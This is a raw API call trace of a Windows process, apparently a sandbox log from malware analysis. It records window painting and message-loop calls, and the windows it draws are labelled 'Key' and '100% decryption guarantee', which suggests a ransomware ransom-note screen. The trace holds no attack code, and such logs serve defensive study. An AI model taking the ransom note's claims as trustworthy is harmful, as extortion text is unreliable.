1 [0156.975] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.975] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.975] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.975] BeginPaint (in: hWnd=0x10248, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x60100ce [0156.975] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0156.975] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0156.975] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.975] GetSystemMetrics (nIndex=42) returned 0 [0156.975] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0156.975] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0156.975] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0156.975] EndPaint (hWnd=0x10248, lpPaint=0x19e8f8) returned 1 [0156.975] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.975] IsWindowUnicode (hWnd=0x10246) returned 1 [0156.976] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.976] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.976] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.976] BeginPaint (in: hWnd=0x10246, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x10105d6 [0156.976] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0156.976] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0156.976] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0156.976] GetSystemMetrics (nIndex=42) returned 0 [0156.976] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0156.976] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0156.976] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0156.976] EndPaint (hWnd=0x10246, lpPaint=0x19e8e4) returned 1 [0156.976] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.976] IsWindowUnicode (hWnd=0x1024a) returned 1 [0156.976] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.976] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.976] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.976] BeginPaint (in: hWnd=0x1024a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0156.977] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0156.977] CreateCompatibleDC (hdc=0x1b010670) returned 0x17010738 [0156.977] SelectObject (hdc=0x17010738, h=0x6050721) returned 0x85000f [0156.977] GdipCreateFromHDC (hdc=0x17010738, graphics=0x19e8e4) returned 0x0 [0156.977] GdipTranslateWorldTransform (graphics=0x691e998, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0156.977] GdipSetClipRectI (graphics=0x691e998, x=0, y=0, width=308, height=32, combineMode=0x0) returned 0x0 [0156.977] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0156.977] GdipGetWorldTransform (graphics=0x691e998, matrix=0x6915f08) returned 0x0 [0156.977] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0156.977] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75590 [0156.977] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75590) returned 0x0 [0156.977] LocalFree (hMem=0xf75590) returned 0x0 [0156.977] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0156.977] GdipCreateRegion (region=0x19e92c) returned 0x0 [0156.977] GdipGetClip (graphics=0x691e998, region=0x691ec78) returned 0x0 [0156.977] GdipIsInfiniteRegion (region=0x691ec78, graphics=0x691e998, result=0x19e938) returned 0x0 [0156.977] GdipSaveGraphics (graphics=0x691e998, state=0x19e964) returned 0x0 [0156.977] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0156.977] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0156.978] GetSystemMetrics (nIndex=42) returned 0 [0156.978] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0156.978] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0156.978] GetClientRect (in: hWnd=0x1024a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0156.978] GdipCreateRegion (region=0x19e780) returned 0x0 [0156.978] GdipGetClip (graphics=0x691e998, region=0x6916098) returned 0x0 [0156.978] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0156.978] GdipGetWorldTransform (graphics=0x691e998, matrix=0x6915f38) returned 0x0 [0156.978] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0156.978] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75558 [0156.978] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf75558) returned 0x0 [0156.978] LocalFree (hMem=0xf75558) returned 0x0 [0156.978] GdipCombineRegionRegion (region=0x6916098, region2=0x691ec78, combineMode=0x1) returned 0x0 [0156.978] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf758d8 [0156.978] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf758d8) returned 0x0 [0156.978] LocalFree (hMem=0xf758d8) returned 0x0 [0156.978] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0156.978] GdipIsInfiniteRegion (region=0x6916098, graphics=0x691e998, result=0x19e7c0) returned 0x0 [0156.978] GdipIsInfiniteRegion (region=0x6916098, graphics=0x691e998, result=0x19e7b0) returned 0x0 [0156.978] GdipGetRegionHRgn (region=0x6916098, graphics=0x691e998, hRgn=0x19e7b0) returned 0x0 [0156.978] GdipDeleteRegion (region=0x6916098) returned 0x0 [0156.978] GdipGetDC (graphics=0x691e998, hdc=0x19e7c8) returned 0x0 [0156.978] GetCurrentObject (hdc=0x17010738, type=0x1) returned 0xb00017 [0156.978] GetCurrentObject (hdc=0x17010738, type=0x2) returned 0x900010 [0156.978] GetCurrentObject (hdc=0x17010738, type=0x7) returned 0x6050721 [0156.979] GetCurrentObject (hdc=0x17010738, type=0x6) returned 0x8a01c2 [0156.979] SaveDC (hdc=0x17010738) returned 1 [0156.979] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xb10406fe [0156.979] GetClipRgn (hdc=0x17010738, hrgn=0xb10406fe) returned 0 [0156.979] SelectClipRgn (hdc=0x17010738, hrgn=0xf404070e) returned 2 [0156.979] DeleteObject (ho=0xb10406fe) returned 1 [0156.979] DeleteObject (ho=0xf404070e) returned 1 [0156.979] OffsetViewportOrgEx (in: hdc=0x17010738, x=0, y=0, lppt=0x3014ec4 | out: lppt=0x3014ec4) returned 1 [0156.979] GetNearestColor (hdc=0x17010738, color=0x22a3f8) returned 0x22a3f8 [0156.979] CreateSolidBrush (color=0x22a3f8) returned 0x31100628 [0156.979] FillRect (hDC=0x17010738, lprc=0x19e7cc, hbr=0x31100628) returned 1 [0156.979] DeleteObject (ho=0x31100628) returned 1 [0156.979] RestoreDC (hdc=0x17010738, nSavedDC=-1) returned 1 [0156.979] GdipReleaseDC (graphics=0x691e998, hdc=0x17010738) returned 0x0 [0156.979] GdipRestoreGraphics (graphics=0x691e998, state=0xfd750dbd) returned 0x0 [0156.979] GdipDeleteRegion (region=0x691ec78) returned 0x0 [0156.979] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0156.979] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0156.979] GetSystemMetrics (nIndex=42) returned 0 [0156.979] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0156.979] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0156.979] GdipGetDC (graphics=0x691e998, hdc=0x19e7e8) returned 0x0 [0156.980] GetCurrentObject (hdc=0x17010738, type=0x1) returned 0xb00017 [0156.980] GetCurrentObject (hdc=0x17010738, type=0x2) returned 0x900010 [0156.980] GetCurrentObject (hdc=0x17010738, type=0x7) returned 0x6050721 [0156.980] GetCurrentObject (hdc=0x17010738, type=0x6) returned 0x8a01c2 [0156.980] SaveDC (hdc=0x17010738) returned 1 [0156.980] GetNearestColor (hdc=0x17010738, color=0x0) returned 0x0 [0156.980] RestoreDC (hdc=0x17010738, nSavedDC=-1) returned 1 [0156.980] GdipReleaseDC (graphics=0x691e998, hdc=0x17010738) returned 0x0 [0156.980] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.980] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0156.980] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e78c, fWinIni=0x0 | out: pvParam=0x19e78c) returned 1 [0156.980] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0156.980] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0156.980] GdipGetTextRenderingHint (graphics=0x691e998, mode=0x19e788) returned 0x0 [0156.980] GdipGetDC (graphics=0x691e998, hdc=0x19e774) returned 0x0 [0156.980] GetCurrentObject (hdc=0x17010738, type=0x1) returned 0xb00017 [0156.981] GetCurrentObject (hdc=0x17010738, type=0x2) returned 0x900010 [0156.981] GetCurrentObject (hdc=0x17010738, type=0x7) returned 0x6050721 [0156.981] GetCurrentObject (hdc=0x17010738, type=0x6) returned 0x8a01c2 [0156.981] SaveDC (hdc=0x17010738) returned 1 [0156.981] GetTextAlign (hdc=0x17010738) returned 0x0 [0156.981] GetTextColor (hdc=0x17010738) returned 0x0 [0156.981] GetCurrentObject (hdc=0x17010738, type=0x6) returned 0x8a01c2 [0156.981] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0156.981] SelectObject (hdc=0x17010738, h=0xa0a0724) returned 0x8a01c2 [0156.981] GetBkMode (hdc=0x17010738) returned 2 [0156.981] SetBkMode (hdc=0x17010738, mode=1) returned 2 [0156.981] DrawTextExW (in: hdc=0x17010738, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e708, format=0x100000, lpdtp=0x30153b8 | out: lpchText="100% decryption guarantee", lprc=0x19e708) returned 32 [0156.986] RestoreDC (hdc=0x17010738, nSavedDC=-1) returned 1 [0156.986] GdipReleaseDC (graphics=0x691e998, hdc=0x17010738) returned 0x0 [0156.986] GdipGetDC (graphics=0x691e998, hdc=0x19e924) returned 0x0 [0156.986] BitBlt (hdc=0x1b010670, x=0, y=0, cx=308, cy=32, hdcSrc=0x17010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0156.986] GdipReleaseDC (graphics=0x691e998, hdc=0x17010738) returned 0x0 [0156.986] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0156.987] SelectObject (hdc=0x17010738, h=0x85000f) returned 0x6050721 [0156.987] DeleteDC (hdc=0x17010738) returned 1 [0156.987] GdipDeleteGraphics (graphics=0x691e998) returned 0x0 [0156.987] EndPaint (hWnd=0x1024a, lpPaint=0x19e8c8) returned 1 [0156.987] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.987] IsWindowUnicode (hWnd=0x1024c) returned 1 [0156.987] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.987] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.987] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.987] BeginPaint (in: hWnd=0x1024c, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x1e0106e1 [0156.987] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0156.987] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x19010738 [0156.987] SelectObject (hdc=0x19010738, h=0x6050721) returned 0x85000f [0156.987] GdipCreateFromHDC (hdc=0x19010738, graphics=0x19e920) returned 0x0 [0156.988] GdipTranslateWorldTransform (graphics=0x691e998, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0156.988] GdipSetClipRectI (graphics=0x691e998, x=0, y=0, width=32, height=36, combineMode=0x0) returned 0x0 [0156.988] GdipCreateMatrix (matrix=0x19e968) returned 0x0 [0156.988] GdipGetWorldTransform (graphics=0x691e998, matrix=0x6915f08) returned 0x0 [0156.988] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e980) returned 0x0 [0156.988] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75b40 [0156.988] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75b40) returned 0x0 [0156.988] LocalFree (hMem=0xf75b40) returned 0x0 [0156.988] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0156.988] GdipCreateRegion (region=0x19e968) returned 0x0 [0156.988] GdipGetClip (graphics=0x691e998, region=0x691ec78) returned 0x0 [0156.988] GdipIsInfiniteRegion (region=0x691ec78, graphics=0x691e998, result=0x19e974) returned 0x0 [0156.988] GdipSaveGraphics (graphics=0x691e998, state=0x19e9a0) returned 0x0 [0156.988] GetWindowTextLengthW (hWnd=0x1024c) returned 0 [0156.988] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.988] GetSystemMetrics (nIndex=42) returned 0 [0156.988] GetWindowTextW (in: hWnd=0x1024c, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0156.988] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0156.988] GetClientRect (in: hWnd=0x1024c, lpRect=0x19e968 | out: lpRect=0x19e968) returned 1 [0156.988] GdipCreateRegion (region=0x19e7bc) returned 0x0 [0156.988] GdipGetClip (graphics=0x691e998, region=0x6916098) returned 0x0 [0156.988] GdipCreateMatrix (matrix=0x19e7bc) returned 0x0 [0156.988] GdipGetWorldTransform (graphics=0x691e998, matrix=0x6915f38) returned 0x0 [0156.988] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e7d4) returned 0x0 [0156.988] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf758d8 [0156.988] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf758d8) returned 0x0 [0156.989] LocalFree (hMem=0xf758d8) returned 0x0 [0156.989] GdipCombineRegionRegion (region=0x6916098, region2=0x691ec78, combineMode=0x1) returned 0x0 [0156.989] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf758d8 [0156.989] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xf758d8) returned 0x0 [0156.989] LocalFree (hMem=0xf758d8) returned 0x0 [0156.989] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0156.989] GdipIsInfiniteRegion (region=0x6916098, graphics=0x691e998, result=0x19e7fc) returned 0x0 [0156.989] GdipIsInfiniteRegion (region=0x6916098, graphics=0x691e998, result=0x19e7ec) returned 0x0 [0156.989] GdipGetRegionHRgn (region=0x6916098, graphics=0x691e998, hRgn=0x19e7ec) returned 0x0 [0156.989] GdipDeleteRegion (region=0x6916098) returned 0x0 [0156.989] GdipGetDC (graphics=0x691e998, hdc=0x19e804) returned 0x0 [0156.989] GetCurrentObject (hdc=0x19010738, type=0x1) returned 0xb00017 [0156.989] GetCurrentObject (hdc=0x19010738, type=0x2) returned 0x900010 [0156.989] GetCurrentObject (hdc=0x19010738, type=0x7) returned 0x6050721 [0156.989] GetCurrentObject (hdc=0x19010738, type=0x6) returned 0x8a01c2 [0156.989] SaveDC (hdc=0x19010738) returned 1 [0156.989] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xf504070e [0156.989] GetClipRgn (hdc=0x19010738, hrgn=0xf504070e) returned 0 [0156.989] SelectClipRgn (hdc=0x19010738, hrgn=0xb30406fe) returned 2 [0156.989] DeleteObject (ho=0xf504070e) returned 1 [0156.989] DeleteObject (ho=0xb30406fe) returned 1 [0156.989] OffsetViewportOrgEx (in: hdc=0x19010738, x=0, y=0, lppt=0x3015778 | out: lppt=0x3015778) returned 1 [0156.989] GetNearestColor (hdc=0x19010738, color=0x323533) returned 0x323533 [0156.989] CreateSolidBrush (color=0x323533) returned 0x32100628 [0156.989] FillRect (hDC=0x19010738, lprc=0x19e808, hbr=0x32100628) returned 1 [0156.990] DeleteObject (ho=0x32100628) returned 1 [0156.990] RestoreDC (hdc=0x19010738, nSavedDC=-1) returned 1 [0156.990] GdipReleaseDC (graphics=0x691e998, hdc=0x19010738) returned 0x0 [0156.990] GdipRestoreGraphics (graphics=0x691e998, state=0xfd730dbd) returned 0x0 [0156.990] GdipDeleteRegion (region=0x691ec78) returned 0x0 [0156.990] GetWindowTextLengthW (hWnd=0x1024c) returned 0 [0156.990] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.990] GetSystemMetrics (nIndex=42) returned 0 [0156.990] GetWindowTextW (in: hWnd=0x1024c, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0156.990] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0156.990] GdipGetImageWidth (image=0x6915b28, width=0x19e83c) returned 0x0 [0156.990] GdipGetImageHeight (image=0x6915b28, height=0x19e83c) returned 0x0 [0156.990] GdipDrawImageRectI (graphics=0x691e998, image=0x6915b28, x=0, y=2, width=32, height=32) returned 0x0 [0156.990] GdipGetDC (graphics=0x691e998, hdc=0x19e960) returned 0x0 [0156.990] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=32, cy=36, hdcSrc=0x19010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0156.990] GdipReleaseDC (graphics=0x691e998, hdc=0x19010738) returned 0x0 [0156.990] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0156.990] SelectObject (hdc=0x19010738, h=0x85000f) returned 0x6050721 [0156.990] DeleteDC (hdc=0x19010738) returned 1 [0156.990] GdipDeleteGraphics (graphics=0x691e998) returned 0x0 [0156.990] EndPaint (hWnd=0x1024c, lpPaint=0x19e904) returned 1 [0156.991] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.991] IsWindowUnicode (hWnd=0x1024e) returned 1 [0156.991] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.991] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.991] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0156.991] BeginPaint (in: hWnd=0x1024e, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x60100ce [0156.991] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0156.991] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0156.991] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.991] GetSystemMetrics (nIndex=42) returned 0 [0156.991] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0156.991] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0156.991] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0156.991] EndPaint (hWnd=0x1024e, lpPaint=0x19e8f8) returned 1 [0156.991] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.991] IsWindowUnicode (hWnd=0x10250) returned 1 [0156.991] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.991] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.991] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0156.992] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0156.998] SetTextColor (hdc=0x4a010719, color=0xc4c4c4) returned 0x0 [0156.998] SetBkColor (hdc=0x4a010719, color=0x686868) returned 0xffffff [0156.998] CreateSolidBrush (color=0x686868) returned 0x33100628 [0156.998] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.999] IsWindowUnicode (hWnd=0x50078) returned 1 [0156.999] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0156.999] TranslateMessage (lpMsg=0x19ee78) returned 0 [0156.999] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.001] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.002] IsWindowUnicode (hWnd=0x10252) returned 1 [0157.002] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.002] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.002] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.002] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.002] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.002] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.002] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.002] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.002] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.002] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.002] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.002] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.002] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.003] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.003] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.003] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.003] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.003] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.003] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.003] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.003] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.003] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.003] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.004] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.004] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.004] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.004] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.004] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.004] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.004] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.004] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.004] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.004] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.004] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.005] IsWindowUnicode (hWnd=0x50078) returned 1 [0157.005] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.005] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.005] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.005] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.005] IsWindowUnicode (hWnd=0x10252) returned 1 [0157.005] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.005] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.005] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.005] BeginPaint (in: hWnd=0x10252, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0157.005] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.005] CreateCompatibleDC (hdc=0x1b010670) returned 0x1d010738 [0157.006] SelectObject (hdc=0x1d010738, h=0x6050721) returned 0x85000f [0157.006] GdipCreateFromHDC (hdc=0x1d010738, graphics=0x19e8e4) returned 0x0 [0157.006] GdipTranslateWorldTransform (graphics=0x691e998, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.006] GdipSetClipRectI (graphics=0x691e998, x=0, y=0, width=251, height=63, combineMode=0x0) returned 0x0 [0157.006] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0157.006] GdipGetWorldTransform (graphics=0x691e998, matrix=0x6915f08) returned 0x0 [0157.006] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0157.006] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf756e0 [0157.006] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf756e0) returned 0x0 [0157.006] LocalFree (hMem=0xf756e0) returned 0x0 [0157.006] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.006] GdipCreateRegion (region=0x19e92c) returned 0x0 [0157.006] GdipGetClip (graphics=0x691e998, region=0x691ec78) returned 0x0 [0157.006] GdipIsInfiniteRegion 